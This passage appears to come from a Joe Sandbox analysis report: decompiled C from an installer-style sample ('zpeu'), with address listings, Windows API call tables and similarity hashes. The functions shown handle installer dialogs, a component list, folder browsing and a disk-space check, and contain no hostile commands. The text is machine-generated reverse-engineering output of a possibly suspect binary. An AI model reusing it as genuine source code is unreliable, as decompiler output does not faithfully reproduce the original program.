                                      				signed int* _t308;
                                      				int _t309;
                                      				long _t310;
                                      				signed int _t311;
                                      				void* _t313;
                                      				long _t314;
                                      				int _t315;
                                      				signed int _t316;
                                      				void* _t318;
                                      
                                      				_t306 = _a4;
                                      				_v12 = GetDlgItem(_t306, 0x3f9);
                                      				_v8 = GetDlgItem(_t306, 0x408);
                                      				_t318 = SendMessageW;
                                      				_v20 =  *0x42a248;
                                      				_t282 = 0;
                                      				_v24 =  *0x42a214 + 0x94;
                                      				if(_a8 != 0x110) {
                                      					L23:
                                      					if(_a8 != 0x405) {
                                      						_t285 = _a16;
                                      					} else {
                                      						_a12 = _t282;
                                      						_t285 = 1;
                                      						_a8 = 0x40f;
                                      						_a16 = 1;
                                      					}
                                      					if(_a8 == 0x4e || _a8 == 0x413) {
                                      						_v16 = _t285;
                                      						if(_a8 == 0x413 ||  *((intOrPtr*)(_t285 + 4)) == 0x408) {
                                      							if(( *0x42a21d & 0x00000002) != 0) {
                                      								L41:
                                      								if(_v16 != _t282) {
                                      									_t231 = _v16;
                                      									if( *((intOrPtr*)(_t231 + 8)) == 0xfffffe3d) {
                                      										SendMessageW(_v8, 0x419, _t282,  *(_t231 + 0x5c));
                                      									}
                                      									_t232 = _v16;
                                      									if( *((intOrPtr*)(_t232 + 8)) == 0xfffffe39) {
                                      										_t285 = _v20;
                                      										_t233 =  *(_t232 + 0x5c);
                                      										if( *((intOrPtr*)(_t232 + 0xc)) != 2) {
                                      											 *(_t233 * 0x818 + _t285 + 8) =  *(_t233 * 0x818 + _t285 + 8) & 0xffffffdf;
                                      										} else {
                                      											 *(_t233 * 0x818 + _t285 + 8) =  *(_t233 * 0x818 + _t285 + 8) | 0x00000020;
                                      										}
                                      									}
                                      								}
                                      								goto L48;
                                      							}
                                      							if(_a8 == 0x413) {
                                      								L33:
                                      								_t285 = 0 | _a8 != 0x00000413;
                                      								_t239 = E00404B7A(_v8, _a8 != 0x413);
                                      								_t311 = _t239;
                                      								if(_t311 >= _t282) {
                                      									_t88 = _v20 + 8; // 0x8
                                      									_t285 = _t239 * 0x818 + _t88;
                                      									_t241 =  *_t285;
                                      									if((_t241 & 0x00000010) == 0) {
                                      										if((_t241 & 0x00000040) == 0) {
                                      											_t242 = _t241 ^ 0x00000001;
                                      										} else {
                                      											_t248 = _t241 ^ 0x00000080;
                                      											if(_t248 >= 0) {
                                      												_t242 = _t248 & 0x000000fe;
                                      											} else {
                                      												_t242 = _t248 | 0x00000001;
                                      											}
                                      										}
                                      										 *_t285 = _t242;
                                      										E0040117D(_t311);
                                      										_a12 = _t311 + 1;
                                      										_a16 =  !( *0x42a21c) >> 0x00000008 & 0x00000001;
                                      										_a8 = 0x40f;
                                      									}
                                      								}
                                      								goto L41;
                                      							}
                                      							_t285 = _a16;
                                      							if( *((intOrPtr*)(_a16 + 8)) != 0xfffffffe) {
                                      								goto L41;
                                      							}
                                      							goto L33;
                                      						} else {
                                      							goto L48;
                                      						}
                                      					} else {
                                      						L48:
                                      						if(_a8 != 0x111) {
                                      							L56:
                                      							if(_a8 == 0x200) {
                                      								SendMessageW(_v8, 0x200, _t282, _t282);
                                      							}
                                      							if(_a8 == 0x40b) {
                                      								_t219 =  *0x4236cc;
                                      								if(_t219 != _t282) {
                                      									ImageList_Destroy(_t219);
                                      								}
                                      								_t220 =  *0x4236e0;
                                      								if(_t220 != _t282) {
                                      									GlobalFree(_t220);
                                      								}
                                      								 *0x4236cc = _t282;
                                      								 *0x4236e0 = _t282;
                                      								 *0x42a280 = _t282;
                                      							}
                                      							if(_a8 != 0x40f) {
                                      								L88:
                                      								if(_a8 == 0x420 && ( *0x42a21d & 0x00000001) != 0) {
                                      									_t307 = (0 | _a16 == 0x00000020) << 3;
                                      									ShowWindow(_v8, _t307);
                                      									ShowWindow(GetDlgItem(_a4, 0x3fe), _t307);
                                      								}
                                      								goto L91;
                                      							} else {
                                      								E004011EF(_t285, _t282, _t282);
                                      								_t192 = _a12;
                                      								if(_t192 != _t282) {
                                      									if(_t192 != 0xffffffff) {
                                      										_t192 = _t192 - 1;
                                      									}
                                      									_push(_t192);
                                      									_push(8);
                                      									E00404BFA();
                                      								}
                                      								if(_a16 == _t282) {
                                      									L75:
                                      									E004011EF(_t285, _t282, _t282);
                                      									_v32 =  *0x4236e0;
                                      									_t195 =  *0x42a248;
                                      									_v60 = 0xf030;
                                      									_v20 = _t282;
                                      									if( *0x42a24c <= _t282) {
                                      										L86:
                                      										InvalidateRect(_v8, _t282, 1);
                                      										if( *((intOrPtr*)( *0x4291dc + 0x10)) != _t282) {
                                      											E00404B35(0x3ff, 0xfffffffb, E00404B4D(5));
                                      										}
                                      										goto L88;
                                      									}
                                      									_t308 = _t195 + 8;
                                      									do {
                                      										_t201 =  *((intOrPtr*)(_v32 + _v20 * 4));
                                      										if(_t201 != _t282) {
                                      											_t287 =  *_t308;
                                      											_v68 = _t201;
                                      											_v72 = 8;
                                      											if((_t287 & 0x00000001) != 0) {
                                      												_v72 = 9;
                                      												_v56 =  &(_t308[4]);
                                      												_t308[0] = _t308[0] & 0x000000fe;
                                      											}
                                      											if((_t287 & 0x00000040) == 0) {
                                      												_t205 = (_t287 & 0x00000001) + 1;
                                      												if((_t287 & 0x00000010) != 0) {
                                      													_t205 = _t205 + 3;
                                      												}
                                      											} else {
                                      												_t205 = 3;
                                      											}
                                      											_v64 = (_t205 << 0x0000000b | _t287 & 0x00000008) + (_t205 << 0x0000000b | _t287 & 0x00000008) | _t287 & 0x00000020;
                                      											SendMessageW(_v8, 0x1102, (_t287 >> 0x00000005 & 0x00000001) + 1, _v68);
                                      											SendMessageW(_v8, 0x113f, _t282,  &_v72);
                                      										}
                                      										_v20 = _v20 + 1;
                                      										_t308 =  &(_t308[0x206]);
                                      									} while (_v20 <  *0x42a24c);
                                      									goto L86;
                                      								} else {
                                      									_t309 = E004012E2( *0x4236e0);
                                      									E00401299(_t309);
                                      									_t216 = 0;
                                      									_t285 = 0;
                                      									if(_t309 <= _t282) {
                                      										L74:
                                      										SendMessageW(_v12, 0x14e, _t285, _t282);
                                      										_a16 = _t309;
                                      										_a8 = 0x420;
                                      										goto L75;
                                      									} else {
                                      										goto L71;
                                      									}
                                      									do {
                                      										L71:
                                      										if( *((intOrPtr*)(_v24 + _t216 * 4)) != _t282) {
                                      											_t285 = _t285 + 1;
                                      										}
                                      										_t216 = _t216 + 1;
                                      									} while (_t216 < _t309);
                                      									goto L74;
                                      								}
                                      							}
                                      						}
                                      						if(_a12 != 0x3f9 || _a12 >> 0x10 != 1) {
                                      							goto L91;
                                      						} else {
                                      							_t226 = SendMessageW(_v12, 0x147, _t282, _t282);
                                      							if(_t226 == 0xffffffff) {
                                      								goto L91;
                                      							}
                                      							_t310 = SendMessageW(_v12, 0x150, _t226, _t282);
                                      							if(_t310 == 0xffffffff ||  *((intOrPtr*)(_v24 + _t310 * 4)) == _t282) {
                                      								_t310 = 0x20;
                                      							}
                                      							E00401299(_t310);
                                      							SendMessageW(_a4, 0x420, _t282, _t310);
                                      							_a12 = _a12 | 0xffffffff;
                                      							_a16 = _t282;
                                      							_a8 = 0x40f;
                                      							goto L56;
                                      						}
                                      					}
                                      				} else {
                                      					_v32 = 0;
                                      					_v16 = 2;
                                      					 *0x42a280 = _t306;
                                      					 *0x4236e0 = GlobalAlloc(0x40,  *0x42a24c << 2);
                                      					_t252 = LoadBitmapW( *0x42a200, 0x6e);
                                      					 *0x4236d4 =  *0x4236d4 | 0xffffffff;
                                      					_t313 = _t252;
                                      					 *0x4236dc = SetWindowLongW(_v8, 0xfffffffc, E00405224);
                                      					_t254 = ImageList_Create(0x10, 0x10, 0x21, 6, 0);
                                      					 *0x4236cc = _t254;
                                      					ImageList_AddMasked(_t254, _t313, 0xff00ff);
                                      					SendMessageW(_v8, 0x1109, 2,  *0x4236cc);
                                      					if(SendMessageW(_v8, 0x111c, 0, 0) < 0x10) {
                                      						SendMessageW(_v8, 0x111b, 0x10, 0);
                                      					}
                                      					DeleteObject(_t313);
                                      					_t314 = 0;
                                      					do {
                                      						_t260 =  *((intOrPtr*)(_v24 + _t314 * 4));
                                      						if( *((intOrPtr*)(_v24 + _t314 * 4)) != _t282) {
                                      							if(_t314 != 0x20) {
                                      								_v16 = _t282;
                                      							}
                                      							SendMessageW(_v12, 0x151, SendMessageW(_v12, 0x143, _t282, E0040626E(_t282, _t314, _t318, _t282, _t260)), _t314);
                                      						}
                                      						_t314 = _t314 + 1;
                                      					} while (_t314 < 0x21);
                                      					_t315 = _a16;
                                      					_t283 = _v16;
                                      					_push( *((intOrPtr*)(_t315 + 0x30 + _t283 * 4)));
                                      					_push(0x15);
                                      					E004041E1(_a4);
                                      					_push( *((intOrPtr*)(_t315 + 0x34 + _t283 * 4)));
                                      					_push(0x16);
                                      					E004041E1(_a4);
                                      					_t316 = 0;
                                      					_t284 = 0;
                                      					if( *0x42a24c <= 0) {
                                      						L19:
                                      						SetWindowLongW(_v8, 0xfffffff0, GetWindowLongW(_v8, 0xfffffff0) & 0x000000fb);
                                      						goto L20;
                                      					} else {
                                      						_t302 = _v20 + 8;
                                      						_v28 = _t302;
                                      						do {
                                      							_t270 =  &(_t302[0x10]);
                                      							if( *_t270 != 0) {
                                      								_v60 = _t270;
                                      								_t271 =  *_t302;
                                      								_t294 = 0x20;
                                      								_v84 = _t284;
                                      								_v80 = 0xffff0002;
                                      								_v76 = 0xd;
                                      								_v64 = _t294;
                                      								_v40 = _t316;
                                      								_v68 = _t271 & _t294;
                                      								if((_t271 & 0x00000002) == 0) {
                                      									if((_t271 & 0x00000004) == 0) {
                                      										 *( *0x4236e0 + _t316 * 4) = SendMessageW(_v8, 0x1132, 0,  &_v84);
                                      									} else {
                                      										_t284 = SendMessageW(_v8, 0x110a, 3, _t284);
                                      									}
                                      								} else {
                                      									_v76 = 0x4d;
                                      									_v44 = 1;
                                      									_t276 = SendMessageW(_v8, 0x1132, 0,  &_v84);
                                      									_v32 = 1;
                                      									 *( *0x4236e0 + _t316 * 4) = _t276;
                                      									_t284 =  *( *0x4236e0 + _t316 * 4);
                                      								}
                                      							}
                                      							_t316 = _t316 + 1;
                                      							_t302 =  &(_v28[0x818]);
                                      							_v28 = _t302;
                                      						} while (_t316 <  *0x42a24c);
                                      						if(_v32 != 0) {
                                      							L20:
                                      							if(_v16 != 0) {
                                      								E00404216(_v8);
                                      								_t282 = 0;
                                      								goto L23;
                                      							} else {
                                      								ShowWindow(_v12, 5);
                                      								E00404216(_v12);
                                      								L91:
                                      								return E00404248(_a8, _a12, _a16);
                                      							}
                                      						}
                                      						goto L19;
                                      					}
                                      				}
                                      			}




























































                                      0x00404c3b
                                      0x00404c4c
                                      0x00404c51
                                      0x00404c59
                                      0x00404c5f
                                      0x00404c67
                                      0x00404c75
                                      0x00404c78
                                      0x00404e99
                                      0x00404ea0
                                      0x00404eb4
                                      0x00404ea2
                                      0x00404ea4
                                      0x00404ea7
                                      0x00404ea8
                                      0x00404eaf
                                      0x00404eaf
                                      0x00404ec0
                                      0x00404ece
                                      0x00404ed1
                                      0x00404ee7
                                      0x00404f5c
                                      0x00404f5f
                                      0x00404f61
                                      0x00404f6b
                                      0x00404f79
                                      0x00404f79
                                      0x00404f7b
                                      0x00404f85
                                      0x00404f8b
                                      0x00404f8e
                                      0x00404f91
                                      0x00404fac
                                      0x00404f93
                                      0x00404f9d
                                      0x00404f9d
                                      0x00404f91
                                      0x00404f85
                                      0x00000000
                                      0x00404f5f
                                      0x00404eec
                                      0x00404ef7
                                      0x00404efc
                                      0x00404f03
                                      0x00404f08
                                      0x00404f0c
                                      0x00404f17
                                      0x00404f17
                                      0x00404f1b
                                      0x00404f1f
                                      0x00404f23
                                      0x00404f36
                                      0x00404f25
                                      0x00404f25
                                      0x00404f2c
                                      0x00404f32
                                      0x00404f2e
                                      0x00404f2e
                                      0x00404f2e
                                      0x00404f2c
                                      0x00404f3a
                                      0x00404f3c
                                      0x00404f4f
                                      0x00404f52
                                      0x00404f55
                                      0x00404f55
                                      0x00404f1f
                                      0x00000000
                                      0x00404f0c
                                      0x00404eee
                                      0x00404ef5
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00404faf
                                      0x00404faf
                                      0x00404fb6
                                      0x00405027
                                      0x0040502f
                                      0x00405037
                                      0x00405037
                                      0x00405040
                                      0x00405042
                                      0x00405049
                                      0x0040504c
                                      0x0040504c
                                      0x00405052
                                      0x00405059
                                      0x0040505c
                                      0x0040505c
                                      0x00405062
                                      0x00405068
                                      0x0040506e
                                      0x0040506e
                                      0x0040507b
                                      0x004051d1
                                      0x004051d8
                                      0x004051f5
                                      0x004051fb
                                      0x0040520d
                                      0x0040520d
                                      0x00000000
                                      0x00405081
                                      0x00405083
                                      0x00405088
                                      0x0040508d
                                      0x00405092
                                      0x00405094
                                      0x00405094
                                      0x00405095
                                      0x00405096
                                      0x00405098
                                      0x00405098
                                      0x004050a0
                                      0x004050e1
                                      0x004050e3
                                      0x004050f3
                                      0x004050f6
                                      0x004050fb
                                      0x00405102
                                      0x00405105
                                      0x004051a7
                                      0x004051ad
                                      0x004051bb
                                      0x004051cc
                                      0x004051cc
                                      0x00000000
                                      0x004051bb
                                      0x0040510b
                                      0x0040510e
                                      0x00405114
                                      0x00405119
                                      0x0040511b
                                      0x0040511d
                                      0x00405123
                                      0x0040512a
                                      0x0040512f
                                      0x00405136
                                      0x00405139
                                      0x00405139
                                      0x00405140
                                      0x0040514c
                                      0x00405150
                                      0x00405152
                                      0x00405152
                                      0x00405142
                                      0x00405144
                                      0x00405144
                                      0x00405172
                                      0x0040517e
                                      0x0040518d
                                      0x0040518d
                                      0x0040518f
                                      0x00405192
                                      0x0040519b
                                      0x00000000
                                      0x004050a2
                                      0x004050ad
                                      0x004050b0
                                      0x004050b5
                                      0x004050b7
                                      0x004050bb
                                      0x004050cb
                                      0x004050d5
                                      0x004050d7
                                      0x004050da
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x004050bd
                                      0x004050bd
                                      0x004050c3
                                      0x004050c5
                                      0x004050c5
                                      0x004050c6
                                      0x004050c7
                                      0x00000000
                                      0x004050bd
                                      0x004050a0
                                      0x0040507b
                                      0x00404fbe
                                      0x00000000
                                      0x00404fd4
                                      0x00404fde
                                      0x00404fe3
                                      0x00000000
                                      0x00000000
                                      0x00404ff5
                                      0x00404ffa
                                      0x00405006
                                      0x00405006
                                      0x00405008
                                      0x00405017
                                      0x00405019
                                      0x0040501d
                                      0x00405020
                                      0x00000000
                                      0x00405020
                                      0x00404fbe
                                      0x00404c7e
                                      0x00404c83
                                      0x00404c8c
                                      0x00404c93
                                      0x00404ca1
                                      0x00404cac
                                      0x00404cb2
                                      0x00404cc0
                                      0x00404cd4
                                      0x00404cd9
                                      0x00404ce6
                                      0x00404ceb
                                      0x00404d01
                                      0x00404d12
                                      0x00404d1f
                                      0x00404d1f
                                      0x00404d22
                                      0x00404d28
                                      0x00404d2a
                                      0x00404d2d
                                      0x00404d32
                                      0x00404d37
                                      0x00404d39
                                      0x00404d39
                                      0x00404d59
                                      0x00404d59
                                      0x00404d5b
                                      0x00404d5c
                                      0x00404d61
                                      0x00404d64
                                      0x00404d67
                                      0x00404d6b
                                      0x00404d70
                                      0x00404d75
                                      0x00404d79
                                      0x00404d7e
                                      0x00404d83
                                      0x00404d85
                                      0x00404d8d
                                      0x00404e58
                                      0x00404e6b
                                      0x00000000
                                      0x00404d93
                                      0x00404d96
                                      0x00404d99
                                      0x00404d9c
                                      0x00404d9c
                                      0x00404da3
                                      0x00404da9
                                      0x00404dac
                                      0x00404db2
                                      0x00404db3
                                      0x00404db8
                                      0x00404dc1
                                      0x00404dc8
                                      0x00404dcb
                                      0x00404dce
                                      0x00404dd1
                                      0x00404e0d
                                      0x00404e36
                                      0x00404e0f
                                      0x00404e1c
                                      0x00404e1c
                                      0x00404dd3
                                      0x00404dd6
                                      0x00404de5
                                      0x00404def
                                      0x00404df7
                                      0x00404dfe
                                      0x00404e06
                                      0x00404e06
                                      0x00404dd1
                                      0x00404e3c
                                      0x00404e3d
                                      0x00404e49
                                      0x00404e49
                                      0x00404e56
                                      0x00404e71
                                      0x00404e75
                                      0x00404e92
                                      0x00404e97
                                      0x00000000
                                      0x00404e77
                                      0x00404e7c
                                      0x00404e85
                                      0x0040520f
                                      0x00405221
                                      0x00405221
                                      0x00404e75
                                      0x00000000
                                      0x00404e56
                                      0x00404d8d

                                      APIs
                                      • GetDlgItem.USER32(?,000003F9), ref: 00404C44
                                      • GetDlgItem.USER32(?,00000408), ref: 00404C4F
                                      • GlobalAlloc.KERNEL32(00000040,?), ref: 00404C99
                                      • LoadBitmapW.USER32(0000006E), ref: 00404CAC
                                      • SetWindowLongW.USER32(?,000000FC,00405224), ref: 00404CC5
                                      • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404CD9
                                      • ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404CEB
                                      • SendMessageW.USER32(?,00001109,00000002), ref: 00404D01
                                      • SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404D0D
                                      • SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404D1F
                                      • DeleteObject.GDI32(00000000), ref: 00404D22
                                      • SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404D4D
                                      • SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404D59
                                      • SendMessageW.USER32(?,00001132,00000000,?), ref: 00404DEF
                                      • SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404E1A
                                      • SendMessageW.USER32(?,00001132,00000000,?), ref: 00404E2E
                                      • GetWindowLongW.USER32(?,000000F0), ref: 00404E5D
                                      • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404E6B
                                      • ShowWindow.USER32(?,00000005), ref: 00404E7C
                                      • SendMessageW.USER32(?,00000419,00000000,?), ref: 00404F79
                                      • SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404FDE
                                      • SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404FF3
                                      • SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00405017
                                      • SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00405037
                                      • ImageList_Destroy.COMCTL32(?), ref: 0040504C
                                      • GlobalFree.KERNEL32(?), ref: 0040505C
                                      • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004050D5
                                      • SendMessageW.USER32(?,00001102,?,?), ref: 0040517E
                                      • SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040518D
                                      • InvalidateRect.USER32(?,00000000,00000001), ref: 004051AD
                                      • ShowWindow.USER32(?,00000000), ref: 004051FB
                                      • GetDlgItem.USER32(?,000003FE), ref: 00405206
                                      • ShowWindow.USER32(00000000), ref: 0040520D
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
                                      • String ID: $M$N
                                      • API String ID: 1638840714-813528018
                                      • Opcode ID: 0e3101dbd3652d4f757db737ae7fb43f4819026ea9b1eefe658abe3e9785d0fb
                                      • Instruction ID: 31f8c2f88752af3cc61dfe1620f9b722711d108b5774519bd23904c74dbe123e
                                      • Opcode Fuzzy Hash: 0e3101dbd3652d4f757db737ae7fb43f4819026ea9b1eefe658abe3e9785d0fb
                                      • Instruction Fuzzy Hash: BD0282B0A00209EFDB209F95DD85AAE7BB5FB44314F10417AF610BA2E1C7799D52CF58
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 78%
                                      			E004046B0(unsigned int __edx, struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, intOrPtr _a16) {
                                      				signed int _v8;
                                      				signed int _v12;
                                      				long _v16;
                                      				long _v20;
                                      				long _v24;
                                      				char _v28;
                                      				intOrPtr _v32;
                                      				long _v36;
                                      				char _v40;
                                      				unsigned int _v44;
                                      				signed int _v48;
                                      				WCHAR* _v56;
                                      				intOrPtr _v60;
                                      				intOrPtr _v64;
                                      				intOrPtr _v68;
                                      				WCHAR* _v72;
                                      				void _v76;
                                      				struct HWND__* _v80;
                                      				void* __ebx;
                                      				void* __edi;
                                      				void* __esi;
                                      				intOrPtr _t82;
                                      				long _t87;
                                      				short* _t89;
                                      				void* _t95;
                                      				signed int _t96;
                                      				int _t109;
                                      				signed short _t114;
                                      				signed int _t118;
                                      				struct HWND__** _t122;
                                      				intOrPtr* _t138;
                                      				WCHAR* _t146;
                                      				unsigned int _t150;
                                      				signed int _t152;
                                      				unsigned int _t156;
                                      				signed int _t158;
                                      				signed int* _t159;
                                      				signed int* _t160;
                                      				struct HWND__* _t166;
                                      				struct HWND__* _t167;
                                      				int _t169;
                                      				unsigned int _t197;
                                      
                                      				_t156 = __edx;
                                      				_t82 =  *0x4226c0; // 0x682fbc
                                      				_v32 = _t82;
                                      				_t146 = ( *(_t82 + 0x3c) << 0xb) + 0x42b000;
                                      				_v12 =  *((intOrPtr*)(_t82 + 0x38));
                                      				if(_a8 == 0x40b) {
                                      					E00405892(0x3fb, _t146);
                                      					E004064E0(_t146);
                                      				}
                                      				_t167 = _a4;
                                      				if(_a8 != 0x110) {
                                      					L8:
                                      					if(_a8 != 0x111) {
                                      						L20:
                                      						if(_a8 == 0x40f) {
                                      							L22:
                                      							_v8 = _v8 & 0x00000000;
                                      							_v12 = _v12 & 0x00000000;
                                      							E00405892(0x3fb, _t146);
                                      							if(E00405C25(_t186, _t146) == 0) {
                                      								_v8 = 1;
                                      							}
                                      							E0040624C(0x4216b8, _t146);
                                      							_t87 = E00406626(1);
                                      							_v16 = _t87;
                                      							if(_t87 == 0) {
                                      								L30:
                                      								E0040624C(0x4216b8, _t146);
                                      								_t89 = E00405BC8(0x4216b8);
                                      								_t158 = 0;
                                      								if(_t89 != 0) {
                                      									 *_t89 = 0;
                                      								}
                                      								if(GetDiskFreeSpaceW(0x4216b8,  &_v20,  &_v24,  &_v16,  &_v36) == 0) {
                                      									goto L35;
                                      								} else {
                                      									_t169 = 0x400;
                                      									_t109 = MulDiv(_v20 * _v24, _v16, 0x400);
                                      									asm("cdq");
                                      									_v48 = _t109;
                                      									_v44 = _t156;
                                      									_v12 = 1;
                                      									goto L36;
                                      								}
                                      							} else {
                                      								_t159 = 0;
                                      								if(0 == 0x4216b8) {
                                      									goto L30;
                                      								} else {
                                      									goto L26;
                                      								}
                                      								while(1) {
                                      									L26:
                                      									_t114 = _v16(0x4216b8,  &_v48,  &_v28,  &_v40);
                                      									if(_t114 != 0) {
                                      										break;
                                      									}
                                      									if(_t159 != 0) {
                                      										 *_t159 =  *_t159 & _t114;
                                      									}
                                      									_t160 = E00405B69(0x4216b8);
                                      									 *_t160 =  *_t160 & 0x00000000;
                                      									_t159 = _t160;
                                      									 *_t159 = 0x5c;
                                      									if(_t159 != 0x4216b8) {
                                      										continue;
                                      									} else {
                                      										goto L30;
                                      									}
                                      								}
                                      								_t150 = _v44;
                                      								_v48 = (_t150 << 0x00000020 | _v48) >> 0xa;
                                      								_v44 = _t150 >> 0xa;
                                      								_v12 = 1;
                                      								_t158 = 0;
                                      								__eflags = 0;
                                      								L35:
                                      								_t169 = 0x400;
                                      								L36:
                                      								_t95 = E00404B4D(5);
                                      								if(_v12 != _t158) {
                                      									_t197 = _v44;
                                      									if(_t197 <= 0 && (_t197 < 0 || _v48 < _t95)) {
                                      										_v8 = 2;
                                      									}
                                      								}
                                      								if( *((intOrPtr*)( *0x4291dc + 0x10)) != _t158) {
                                      									E00404B35(0x3ff, 0xfffffffb, _t95);
                                      									if(_v12 == _t158) {
                                      										SetDlgItemTextW(_a4, _t169, 0x4216a8);
                                      									} else {
                                      										E00404A6C(_t169, 0xfffffffc, _v48, _v44);
                                      									}
                                      								}
                                      								_t96 = _v8;
                                      								 *0x42a2c4 = _t96;
                                      								if(_t96 == _t158) {
                                      									_v8 = E0040140B(7);
                                      								}
                                      								if(( *(_v32 + 0x14) & _t169) != 0) {
                                      									_v8 = _t158;
                                      								}
                                      								E00404203(0 | _v8 == _t158);
                                      								if(_v8 == _t158 &&  *0x4236d8 == _t158) {
                                      									E00404609();
                                      								}
                                      								 *0x4236d8 = _t158;
                                      								goto L53;
                                      							}
                                      						}
                                      						_t186 = _a8 - 0x405;
                                      						if(_a8 != 0x405) {
                                      							goto L53;
                                      						}
                                      						goto L22;
                                      					}
                                      					_t118 = _a12 & 0x0000ffff;
                                      					if(_t118 != 0x3fb) {
                                      						L12:
                                      						if(_t118 == 0x3e9) {
                                      							_t152 = 7;
                                      							memset( &_v76, 0, _t152 << 2);
                                      							_v80 = _t167;
                                      							_v72 = 0x4236e8;
                                      							_v60 = E00404A06;
                                      							_v56 = _t146;
                                      							_v68 = E0040626E(_t146, 0x4236e8, _t167, 0x421ec0, _v12);
                                      							_t122 =  &_v80;
                                      							_v64 = 0x41;
                                      							__imp__SHBrowseForFolderW(_t122);
                                      							if(_t122 == 0) {
                                      								_a8 = 0x40f;
                                      							} else {
                                      								__imp__CoTaskMemFree(_t122);
                                      								E00405B1D(_t146);
                                      								_t125 =  *((intOrPtr*)( *0x42a214 + 0x11c));
                                      								if( *((intOrPtr*)( *0x42a214 + 0x11c)) != 0 && _t146 == L"C:\\Users\\Arthur\\AppData\\Local\\Microsoft\\Windows\\INetCache\\spilplatform\\Thenceforth") {
                                      									E0040626E(_t146, 0x4236e8, _t167, 0, _t125);
                                      									if(lstrcmpiW(0x4281a0, 0x4236e8) != 0) {
                                      										lstrcatW(_t146, 0x4281a0);
                                      									}
                                      								}
                                      								 *0x4236d8 =  *0x4236d8 + 1;
                                      								SetDlgItemTextW(_t167, 0x3fb, _t146);
                                      							}
                                      						}
                                      						goto L20;
                                      					}
                                      					if(_a12 >> 0x10 != 0x300) {
                                      						goto L53;
                                      					}
                                      					_a8 = 0x40f;
                                      					goto L12;
                                      				} else {
                                      					_t166 = GetDlgItem(_t167, 0x3fb);
                                      					if(E00405B94(_t146) != 0 && E00405BC8(_t146) == 0) {
                                      						E00405B1D(_t146);
                                      					}
                                      					 *0x4291d8 = _t167;
                                      					SetWindowTextW(_t166, _t146);
                                      					_push( *((intOrPtr*)(_a16 + 0x34)));
                                      					_push(1);
                                      					E004041E1(_t167);
                                      					_push( *((intOrPtr*)(_a16 + 0x30)));
                                      					_push(0x14);
                                      					E004041E1(_t167);
                                      					E00404216(_t166);
                                      					_t138 = E00406626(7);
                                      					if(_t138 == 0) {
                                      						L53:
                                      						return E00404248(_a8, _a12, _a16);
                                      					} else {
                                      						 *_t138(_t166, 1);
                                      						goto L8;
                                      					}
                                      				}
                                      			}













































                                      0x004046b0
                                      0x004046b6
                                      0x004046bc
                                      0x004046c9
                                      0x004046d7
                                      0x004046da
                                      0x004046e2
                                      0x004046e8
                                      0x004046e8
                                      0x004046f4
                                      0x004046f7
                                      0x00404765
                                      0x0040476c
                                      0x00404843
                                      0x0040484a
                                      0x00404859
                                      0x00404859
                                      0x0040485d
                                      0x00404867
                                      0x00404874
                                      0x00404876
                                      0x00404876
                                      0x00404884
                                      0x0040488b
                                      0x00404892
                                      0x00404895
                                      0x004048d1
                                      0x004048d3
                                      0x004048d9
                                      0x004048de
                                      0x004048e2
                                      0x004048e4
                                      0x004048e4
                                      0x00404900
                                      0x00000000
                                      0x00404902
                                      0x00404905
                                      0x00404913
                                      0x00404919
                                      0x0040491a
                                      0x0040491d
                                      0x00404920
                                      0x00000000
                                      0x00404920
                                      0x00404897
                                      0x00404899
                                      0x0040489d
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x0040489f
                                      0x0040489f
                                      0x004048ac
                                      0x004048b1
                                      0x00000000
                                      0x00000000
                                      0x004048b5
                                      0x004048b7
                                      0x004048b7
                                      0x004048c0
                                      0x004048c2
                                      0x004048c7
                                      0x004048ca
                                      0x004048cf
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x004048cf
                                      0x0040492c
